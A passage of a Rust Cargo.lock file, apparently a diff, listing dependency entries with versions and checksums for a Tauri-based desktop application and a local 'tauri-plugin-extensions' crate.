"registry+https://github.com/rust-lang/crates.io-index"+checksum = "7ebe8950a680a12f24f15ebe1bf70db7af98ad242d9db43596ad3108aab86c27"+dependencies = [+ "gio-sys",+ "glib-sys",+ "gobject-sys",+ "libc",+ "system-deps",+]++[[package]]+name = "spki"+version = "0.7.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d"+dependencies = [+ "base64ct",+ "der",+]++[[package]]+name = "stable_deref_trait"+version = "1.2.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "6ce2be8dc25455e1f91df71bfa12ad37d7af1092ae736f3a6cd0e37bc7810596"++[[package]]+name = "string_cache"+version = "0.9.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "a18596f8c785a729f2819c0f6a7eae6ebeebdfffbfe4214ae6b087f690e31901"+dependencies = [+ "new_debug_unreachable",+ "parking_lot",+ "phf_shared",+ "precomputed-hash",+]++[[package]]+name = "string_cache_codegen"+version = "0.6.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "585635e46db231059f76c5849798146164652513eb9e8ab2685939dd90f29b69"+dependencies = [+ "phf_generator",+ "phf_shared",+ "proc-macro2",+ "quote",+]++[[package]]+name = "strsim"+version = "0.11.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f"++[[package]]+name = "subtle"+version = "2.6.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292"++[[package]]+name = "swift-rs"+version = "1.0.7"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "4057c98e2e852d51fdcfca832aac7b571f6b351ad159f9eda5db1655f8d0c4d7"+dependencies = [+ "base64 0.21.7",+ "serde",+ "serde_json",+]++[[package]]+name = "syn"+version = "1.0.109"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237"+dependencies = [+ "proc-macro2",+ "unicode-ident",+]++[[package]]+name = "syn"+version = "2.0.118"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "1b9ae57f904213ebb649ce6895b8a66c66f0203b9319718f69a5612a065b1422"+dependencies = [+ "proc-macro2",+ "quote",+ "unicode-ident",+]++[[package]]+name = "sync_wrapper"+version = "1.0.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "0bf256ce5efdfa370213c1dabab5935a12e49f2c58d15e9eac2870d3b4f27263"+dependencies = [+ "futures-core",+]++[[package]]+name = "synstructure"+version = "0.13.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2"+dependencies = [+ "proc-macro2",+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "system-deps"+version = "6.2.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "a3e535eb8dded36d55ec13eddacd30dec501792ff23a0b1682c38601b8cf2349"+dependencies = [+ "cfg-expr",+ "heck 0.5.0",+ "pkg-config",+ "toml 0.8.2",+ "version-compare",+]++[[package]]+name = "tar"+version = "0.4.46"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "3f6221d9a6003c78398e3b239969f352578258df48c8eb051caadae0015bc840"+dependencies = [+ "filetime",+ "libc",+ "xattr",+]++[[package]]+name = "target-lexicon"+version = "0.12.16"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1"++[[package]]+name = "tauri"+version = "2.11.5"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "667b20e2726d572dea2de7370da16e188eb06008faf9a92fab7cdc46791190b5"+dependencies = [+ "anyhow",+ "bytes",+ "cookie",+ "dirs",+ "dunce",+ "embed_plist",+ "getrandom 0.3.4",+ "glob",+ "gtk",+ "heck 0.5.0",+ "http",+ "jni",+ "libc",+ "log",+ "mime",+ "muda",+ "objc2",+ "objc2-app-kit",+ "objc2-foundation",+ "objc2-ui-kit",+ "objc2-web-kit",+ "percent-encoding",+ "plist",+ "raw-window-handle",+ "reqwest 0.13.4",+ "serde",+ "serde_json",+ "serde_repr",+ "serialize-to-javascript",+ "swift-rs",+ "tauri-build",+ "tauri-macros",+ "tauri-runtime",+ "tauri-utils",+ "thiserror 2.0.18",+ "tokio",+ "url",+ "window-vibrancy",+ "windows",+]++[[package]]+name = "tauri-build"+version = "2.6.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "bc9ce40b16101cb6ea63d3e221567affd1c3a9205f95d7bc574941a10636b632"+dependencies = [+ "anyhow",+ "cargo_toml",+ "dirs",+ "glob",+ "heck 0.5.0",+ "json-patch",+ "schemars 0.8.22",+ "semver",+ "serde",+ "serde_json",+ "tauri-utils",+ "tauri-winres",+ "walkdir",+]++[[package]]+name = "tauri-codegen"+version = "2.6.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "08279169ff42f8fc45a1dbc9dcae888893ba95288142e5880c59b93a26d2cfc5"+dependencies = [+ "base64 0.22.1",+ "ico",+ "json-patch",+ "plist",+ "png 0.17.16",+ "proc-macro2",+ "quote",+ "semver",+ "serde",+ "serde_json",+ "sha2",+ "syn 2.0.118",+ "tauri-utils",+ "thiserror 2.0.18",+ "time",+ "url",+ "uuid",+ "walkdir",+]++[[package]]+name = "tauri-macros"+version = "2.6.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "e8b394794f399a421811d06966343e7933fcae92d59f5180b9388d1174497a45"+dependencies = [+ "heck 0.5.0",+ "proc-macro2",+ "quote",+ "syn 2.0.118",+ "tauri-codegen",+ "tauri-utils",+]++[[package]]+name = "tauri-plugin"+version = "2.6.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "74be5dd4bed9afbd145e5716b5fa2ec28cbc29c34ffa61c258c9273d896c8020"+dependencies = [+ "anyhow",+ "glob",+ "plist",+ "schemars 0.8.22",+ "serde",+ "serde_json",+ "tauri-utils",+ "walkdir",+]++[[package]]+name = "tauri-plugin-extensions"+version = "0.8.3"+dependencies = [+ "base64 0.22.1",+ "ed25519-dalek",+ "flate2",+ "log",+ "reqwest 0.12.28",+ "semver",+ "serde",+ "serde_json",+ "sha2",+ "tar",+ "tauri",+ "tauri-plugin",+ "tempfile",+ "thiserror 2.0.18",+ "tokio",+ "url",+]++[[package]]+name = "tauri-runtime"+version = "2.11.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "b0b4bc95aed361b0019067d189a1174a603d460d0f6c72606512d59fc9c12ec8"+dependencies = [+ "cookie",+ "dpi",+ "gtk",+ "http",+ "jni",+ "objc2",+ "objc2-ui-kit",+ "objc2-web-kit",+ "raw-window-handle",+ "serde",+ "serde_json",+ "tauri-utils",+ "thiserror 2.0.18",+ "url",+ "webkit2gtk",+ "webview2-com",+ "windows",+]++[[package]]+name = "tauri-utils"+version = "2.9.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "3e176a18e67764923c4f1ce66f25ae4abe5f688384d5eb1a0fa6c77f3d90f887"+dependencies = [+ "anyhow",+ "cargo_metadata",+ "ctor",+ "dom_query",+ "dunce",+ "glob",+ "http",+ "infer",+ "json-patch",+ "log",+ "memchr",+ "phf",+ "plist",+ "proc-macro2",+ "quote",+ "regex",+ "schemars 0.8.22",+ "semver",+ "serde",+ "serde-untagged",+ "serde_json",+ "serde_with",+ "swift-rs",+ "thiserror 2.0.18",+ "toml 1.1.3+spec-1.1.0",+ "url",+ "urlpattern",+ "uuid",+ "walkdir",+]++[[package]]+name = "tauri-winres"+version = "0.3.6"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "cc65d45c68858bfe420dd29e834b5d15dbecf8a07a8a16cf4d532c7b1f69d4b6"+dependencies = [+ "dunce",+ "embed-resource",+ "toml 1.1.3+spec-1.1.0",+]++[[package]]+name = "tempfile"+version = "3.27.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd"+dependencies = [+ "fastrand",+ "getrandom 0.4.3",+ "once_cell",+ "rustix",+ "windows-sys 0.61.2",+]++[[package]]+name = "tendril"+version = "0.5.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "5fed54709c5b3a53d09bb1c113ea4f5ceafd1e772ddcb0030a82e1d56c087b08"+dependencies = [+ "new_debug_unreachable",+]++[[package]]+name = "thiserror"+version = "1.0.69"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52"+dependencies = [+ "thiserror-impl 1.0.69",+]++[[package]]+name = "thiserror"+version = "2.0.18"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "4288b5bcbc7920c07a1149a35cf9590a2aa808e0bc1eafaade0b80947865fbc4"+dependencies = [+ "thiserror-impl 2.0.18",+]++[[package]]+name = "thiserror-impl"+version = "1.0.69"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1"+dependencies = [+ "proc-macro2",+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "thiserror-impl"+version = "2.0.18"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "ebc4ee7f67670e9b64d05fa4253e753e016c6c95ff35b89b7941d6b856dec1d5"+dependencies = [+ "proc-macro2",+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "time"+version = "0.3.53"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "18dfaaeddcb932337b5e7866ee7d0ce9b76d2fd092997146f187ec09b4558a50"+dependencies = [+ "deranged",+ "num-conv",+ "powerfmt",+ "serde_core",+ "time-core",+ "time-macros",+]++[[package]]+name = "time-core"+version = "0.1.9"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "9e1c906769ad99c88eaa54e728060edef082f8e358ff32030cb7c7d315e81109"++[[package]]+name = "time-macros"+version = "0.2.31"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "c431b87111666e491a90baa837f914fb45cd5dc3c268591b0220ff5057f2085f"+dependencies = [+ "num-conv",+ "time-core",+]++[[package]]+name = "tinystr"+version = "0.8.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "c8323304221c2a851516f22236c5722a72eaa19749016521d6dff0824447d96d"+dependencies = [+ "displaydoc",+ "zerovec",+]++[[package]]+name = "tinyvec"+version = "1.12.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "bb4ebadaa0af04fab11ae01eb5f9fdb5f9c5b875506e210e71c07873528baa7f"+dependencies = [+ "tinyvec_macros",+]++[[package]]+name = "tinyvec_macros"+version = "0.1.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20"++[[package]]+name = "tokio"+version = "1.52.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "8fc7f01b389ac15039e4dc9531aa973a135d7a4135281b12d7c1bc79fd57fffe"+dependencies = [+ "bytes",+ "libc",+ "mio",+ "pin-project-lite",+ "socket2",+ "tokio-macros",+ "windows-sys 0.61.2",+]++[[package]]+name = "tokio-macros"+version = "2.7.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "385a6cb71ab9ab790c5fe8d67f1645e6c450a7ce006a33de03daa956cf70a496"+dependencies = [+ "proc-macro2",+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "tokio-rustls"+version = "0.26.4"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "1729aa945f29d91ba541258c8df89027d5792d85a8841fb65e8bf0f4ede4ef61"+dependencies = [+ "rustls",+ "tokio",+]++[[package]]+name = "tokio-util"+version = "0.7.18"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "9ae9cec805b01e8fc3fd2fe289f89149a9b66dd16786abd8b19cfa7b48cb0098"+dependencies = [+ "bytes",+ "futures-core",+ "futures-sink",+ "pin-project-lite",+ "tokio",+]++[[package]]+name = "toml"+version = "0.8.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "185d8ab0dfbb35cf1399a6344d8484209c088f75f8f68230da55d48d95d43e3d"+dependencies = [+ "serde",+ "serde_spanned 0.6.9",+ "toml_datetime 0.6.3",+ "toml_edit 0.20.2",+]++[[package]]+name = "toml"+version = "0.9.12+spec-1.1.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "cf92845e79fc2e2def6a5d828f0801e29a2f8acc037becc5ab08595c7d5e9863"+dependencies = [+ "indexmap 2.14.0",+ "serde_core",+ "serde_spanned 1.1.1",+ "toml_datetime 0.7.5+spec-1.1.0",+ "toml_parser",+ "toml_writer",+ "winnow 0.7.15",+]++[[package]]+name = "toml"+version = "1.1.3+spec-1.1.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "53c96ecdfa941c8fc4fcaed14f99ada8ebed502eef533015095a07e3301d4c3c"+dependencies = [+ "indexmap 2.14.0",+ "serde_core",+ "serde_spanned 1.1.1",+ "toml_datetime 1.1.1+spec-1.1.0",+ "toml_parser",+ "toml_writer",+ "winnow 1.0.4",+]++[[package]]+name = "toml_datetime"+version = "0.6.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "7cda73e2f1397b1262d6dfdcef8aafae14d1de7748d66822d3bfeeb6d03e5e4b"+dependencies = [+ "serde",+]++[[package]]+name = "toml_datetime"+version = "0.7.5+spec-1.1.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "92e1cfed4a3038bc5a127e35a2d360f145e1f4b971b551a2ba5fd7aedf7e1347"+dependencies = [+ "serde_core",+]++[[package]]+name = "toml_datetime"+version = "1.1.1+spec-1.1.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "3165f65f62e28e0115a00b2ebdd37eb6f3b641855f9d636d3cd4103767159ad7"+dependencies = [+ "serde_core",+]++[[package]]+name = "toml_edit"+version = "0.19.15"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421"+dependencies = [+ "indexmap 2.14.0",+ "toml_datetime 0.6.3",+ "winnow 0.5.40",+]++[[package]]+name = "toml_edit"+version = "0.20.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "396e4d48bbb2b7554c944bde63101b5ae446cff6ec4a24227428f15eb72ef338"+dependencies = [+ "indexmap 2.14.0",+ "serde",+ "serde_spanned 0.6.9",+ "toml_datetime 0.6.3",+ "winnow 0.5.40",+]++[[package]]+name = "toml_parser"+version = "1.1.2+spec-1.1.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "a2abe9b86193656635d2411dc43050282ca48aa31c2451210f4202550afb7526"+dependencies = [+ "winnow 1.0.4",+]++[[package]]+name = "toml_writer"+version = "1.1.2+spec-1.1.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "7d56353a2a665ad0f41a421187180aab746c8c325620617ad883a99a1cbe66d2"++[[package]]+name = "tower"+version = "0.5.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "ebe5ef63511595f1344e2d5cfa636d973292adc0eec1f0ad45fae9f0851ab1d4"+dependencies = [+ "futures-core",+ "futures-util",+ "pin-project-lite",+ "sync_wrapper",+ "tokio",+ "tower-layer",+ "tower-service",+]++[[package]]+name = "tower-http"+version = "0.6.11"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "4cfcf7e2740e6fc6d4d688b4ef00650406bb94adf4731e43c096c3a19fe40840"+dependencies = [+ "bitflags 2.13.0",+ "bytes",+ "futures-util",+ "http",+ "http-body",+ "pin-project-lite",+ "tower",+ "tower-layer",+ "tower-service",+ "url",+]++[[package]]+name = "tower-layer"+version = "0.3.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "121c2a6cda46980bb0fcd1647ffaf6cd3fc79a013de288782836f6df9c48780e"++[[package]]+name = "tower-service"+version = "0.3.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3"++[[package]]+name = "tracing"+version = "0.1.44"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "63e71662fa4b2a2c3a26f570f037eb95bb1f85397f3cd8076caed2f026a6d100"+dependencies = [+ "pin-project-lite",+ "tracing-core",+]++[[package]]+name = "tracing-core"+version = "0.1.36"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "db97caf9d906fbde555dd62fa95ddba9eecfd14cb388e4f491a66d74cd5fb79a"+dependencies = [+ "once_cell",+]++[[package]]+name = "try-lock"+version = "0.2.5"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b"++[[package]]+name = "typeid"+version = "1.0.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "bc7d623258602320d5c55d1bc22793b57daff0ec7efc270ea7d55ce1d5f5471c"++[[package]]+name = "typenum"+version = "1.20.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20"++[[package]]+name = "unic-char-property"+version = "0.9.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "a8c57a407d9b6fa02b4795eb81c5b6652060a15a7903ea981f3d723e6c0be221"+dependencies = [+ "unic-char-range",+]++[[package]]+name = "unic-char-range"+version = "0.9.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "0398022d5f700414f6b899e10b8348231abf9173fa93144cbc1a43b9793c1fbc"++[[package]]+name = "unic-common"+version = "0.9.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "80d7ff825a6a654ee85a63e80f92f054f904f21e7d12da4e22f9834a4aaa35bc"++[[package]]+name = "unic-ucd-ident"+version = "0.9.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "e230a37c0381caa9219d67cf063aa3a375ffed5bf541a452db16e744bdab6987"+dependencies = [+ "unic-char-property",+ "unic-char-range",+ "unic-ucd-version",+]++[[package]]+name = "unic-ucd-version"+version = "0.9.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "96bd2f2237fe450fcd0a1d2f5f4e91711124f7857ba2e964247776ebeeb7b0c4"+dependencies = [+ "unic-common",+]++[[package]]+name = "unicode-ident"+version = "1.0.24"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75"++[[package]]+name = "unicode-segmentation"+version = "1.13.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "c6f5d3c3b1bf09027a88a6bc961fc00497d651009560b5463668dc81b0fa87a8"++[[package]]+name = "untrusted"+version = "0.9.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1"++[[package]]+name = "url"+version = "2.5.8"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "ff67a8a4397373c3ef660812acab3268222035010ab8680ec4215f38ba3d0eed"+dependencies = [+ "form_urlencoded",+ "idna",+ "percent-encoding",+ "serde",+ "serde_derive",+]++[[package]]+name = "urlpattern"+version = "0.3.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "70acd30e3aa1450bc2eece896ce2ad0d178e9c079493819301573dae3c37ba6d"+dependencies = [+ "regex",+ "serde",+ "unic-ucd-ident",+ "url",+]++[[package]]+name = "utf8_iter"+version = "1.0.4"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be"++[[package]]+name = "uuid"+version = "1.23.5"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "ea5fab0d6c3c01ae70085a09cb03d4c7a1d6314e2b3e075392783396d724ca0a"+dependencies = [+ "getrandom 0.4.3",+ "js-sys",+ "serde_core",+ "wasm-bindgen",+]++[[package]]+name = "version-compare"+version = "0.2.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "03c2856837ef78f57382f06b2b8563a2f512f7185d732608fd9176cb3b8edf0e"++[[package]]+name = "version_check"+version = "0.9.5"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"++[[package]]+name = "vswhom"+version = "0.1.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "be979b7f07507105799e854203b470ff7c78a1639e330a58f183b5fea574608b"+dependencies = [+ "libc",+ "vswhom-sys",+]++[[package]]+name = "vswhom-sys"+version = "0.1.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "fb067e4cbd1ff067d1df46c9194b5de0e98efd2810bbc95c5d5e5f25a3231150"+dependencies = [+ "cc",+ "libc",+]++[[package]]+name = "walkdir"+version = "2.5.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b"+dependencies = [+ "same-file",+ "winapi-util",+]++[[package]]+name = "want"+version = "0.3.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e"+dependencies = [+ "try-lock",+]++[[package]]+name = "wasi"+version = "0.11.1+wasi-snapshot-preview1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b"++[[package]]+name = "wasip2"+version = "1.0.4+wasi-0.2.12"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "b67efb37e106e55ce722a510d6b5f9c17f083e5fc79afc2badeb12cc313d9487"+dependencies = [+ "wit-bindgen",+]++[[package]]+name = "wasm-bindgen"+version = "0.2.126"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "4b067c0c11094aef6b7a801c1e34a26affafdf3d051dba08456b868789aaf9a4"+dependencies = [+ "cfg-if",+ "once_cell",+ "rustversion",+ "wasm-bindgen-macro",+ "wasm-bindgen-shared",+]++[[package]]+name = "wasm-bindgen-futures"+version = "0.4.76"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "c62df1340f32221cb9c54d6a27b030e3dba64361d4a95bed55f9aacb44da291d"+dependencies = [+ "js-sys",+ "wasm-bindgen",+]++[[package]]+name = "wasm-bindgen-macro"+version = "0.2.126"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "167ce5e579f6bcf889c4f7175a8a5a585de84e8ff93976ce393efa5f2837aab1"+dependencies = [+ "quote",+ "wasm-bindgen-macro-support",+]++[[package]]+name = "wasm-bindgen-macro-support"+version = "0.2.126"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "f3997c7839262f4ef12cf90b818d6340c18e80f263f1a94bf157d0ec4420380e"+dependencies = [+ "bumpalo",+ "proc-macro2",+ "quote",+ "syn 2.0.118",+ "wasm-bindgen-shared",+]++[[package]]+name = "wasm-bindgen-shared"+version = "0.2.126"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "dc1b4cb0cc549fcf58d7dfc081778139b3d283a081644e833e84682ad71cea24"+dependencies = [+ "unicode-ident",+]++[[package]]+name = "wasm-streams"+version = "0.5.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "9d1ec4f6517c9e11ae630e200b2b65d193279042e28edd4a2cda233e46670bbb"+dependencies = [+ "futures-util",+ "js-sys",+ "wasm-bindgen",+ "wasm-bindgen-futures",+ "web-sys",+]++[[package]]+name = "web-sys"+version = "0.3.103"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "8622dcb61c0bcc9fffa6938bed81210af2da9a7e4a1a834b2e37a59b6dfb6141"+dependencies = [+ "js-sys",+ "wasm-bindgen",+]++[[package]]+name = "web-time"+version = "1.1.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "5a6580f308b1fad9207618087a65c04e7a10bc77e02c8e84e9b00dd4b12fa0bb"+dependencies = [+ "js-sys",+ "wasm-bindgen",+]++[[package]]+name = "web_atoms"+version = "0.2.5"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "075474b12bcb3d2e3d4546580e9de478eeeead668a1761e2a8860c836b7ef297"+dependencies = [+ "phf",+ "phf_codegen",+ "string_cache",+ "string_cache_codegen",+]++[[package]]+name = "webkit2gtk"+version = "2.0.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "a1027150013530fb2eaf806408df88461ae4815a45c541c8975e61d6f2fc4793"+dependencies = [+ "bitflags 1.3.2",+ "cairo-rs",+ "gdk",+ "gdk-sys",+ "gio",+ "gio-sys",+ "glib",+ "glib-sys",+ "gobject-sys",+ "gtk",+ "gtk-sys",+ "javascriptcore-rs",+ "libc",+ "once_cell",+ "soup3",+ "webkit2gtk-sys",+]++[[package]]+name = "webkit2gtk-sys"+version = "2.0.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "916a5f65c2ef0dfe12fff695960a2ec3d4565359fdbb2e9943c974e06c734ea5"+dependencies = [+ "bitflags 1.3.2",+ "cairo-sys-rs",+ "gdk-sys",+ "gio-sys",+ "glib-sys",+ "gobject-sys",+ "gtk-sys",+ "javascriptcore-rs-sys",+ "libc",+ "pkg-config",+ "soup3-sys",+ "system-deps",+]++[[package]]+name = "webpki-roots"+version = "1.0.8"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "bf85cb06032201fa7c6f829d7db5a7e5aa45bcc0655327713065f6f0576731bf"+dependencies = [+ "rustls-pki-types",+]++[[package]]+name = "webview2-com"+version = "0.38.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "7130243a7a5b33c54a444e54842e6a9e133de08b5ad7b5861cd8ed9a6a5bc96a"+dependencies = [+ "webview2-com-macros",+ "webview2-com-sys",+ "windows",+ "windows-core 0.61.2",+ "windows-implement",+ "windows-interface",+]++[[package]]+name = "webview2-com-macros"+version = "0.8.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "67a921c1b6914c367b2b823cd4cde6f96beec77d30a939c8199bb377cf9b9b54"+dependencies = [+ "proc-macro2",+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "webview2-com-sys"+version = "0.38.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "381336cfffd772377d291702245447a5251a2ffa5bad679c99e61bc48bacbf9c"+dependencies = [+ "thiserror 2.0.18",+ "windows",+ "windows-core 0.61.2",+]++[[package]]+name = "winapi"+version = "0.3.9"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"+dependencies = [+ "winapi-i686-pc-windows-gnu",+ "winapi-x86_64-pc-windows-gnu",+]++[[package]]+name = "winapi-i686-pc-windows-gnu"+version = "0.4.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"++[[package]]+name = "winapi-util"+version = "0.1.11"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22"+dependencies = [+ "windows-sys 0.61.2",+]++[[package]]+name = "winapi-x86_64-pc-windows-gnu"+version = "0.4.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"++[[package]]+name = "window-vibrancy"+version = "0.6.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "d9bec5a31f3f9362f2258fd0e9c9dd61a9ca432e7306cc78c444258f0dce9a9c"+dependencies = [+ "objc2",+ "objc2-app-kit",+ "objc2-core-foundation",+ "objc2-foundation",+ "raw-window-handle",+ "windows-sys 0.59.0",+ "windows-version",+]++[[package]]+name = "windows"+version = "0.61.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "9babd3a767a4c1aef6900409f85f5d53ce2544ccdfaa86dad48c91782c6d6893"+dependencies = [+ "windows-collections",+ "windows-core 0.61.2",+ "windows-future",+ "windows-link 0.1.3",+ "windows-numerics",+]++[[package]]+name = "windows-collections"+version = "0.2.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "3beeceb5e5cfd9eb1d76b381630e82c4241ccd0d27f1a39ed41b2760b255c5e8"+dependencies = [+ "windows-core 0.61.2",+]++[[package]]+name = "windows-core"+version = "0.61.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "c0fdd3ddb90610c7638aa2b3a3ab2904fb9e5cdbecc643ddb3647212781c4ae3"+dependencies = [+ "windows-implement",+ "windows-interface",+ "windows-link 0.1.3",+ "windows-result 0.3.4",+ "windows-strings 0.4.2",+]++[[package]]+name = "windows-core"+version = "0.62.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb"+dependencies = [+ "windows-implement",+ "windows-interface",+ "windows-link 0.2.1",+ "windows-result 0.4.1",+ "windows-strings 0.5.1",+]++[[package]]+name = "windows-future"+version = "0.2.1"+source = 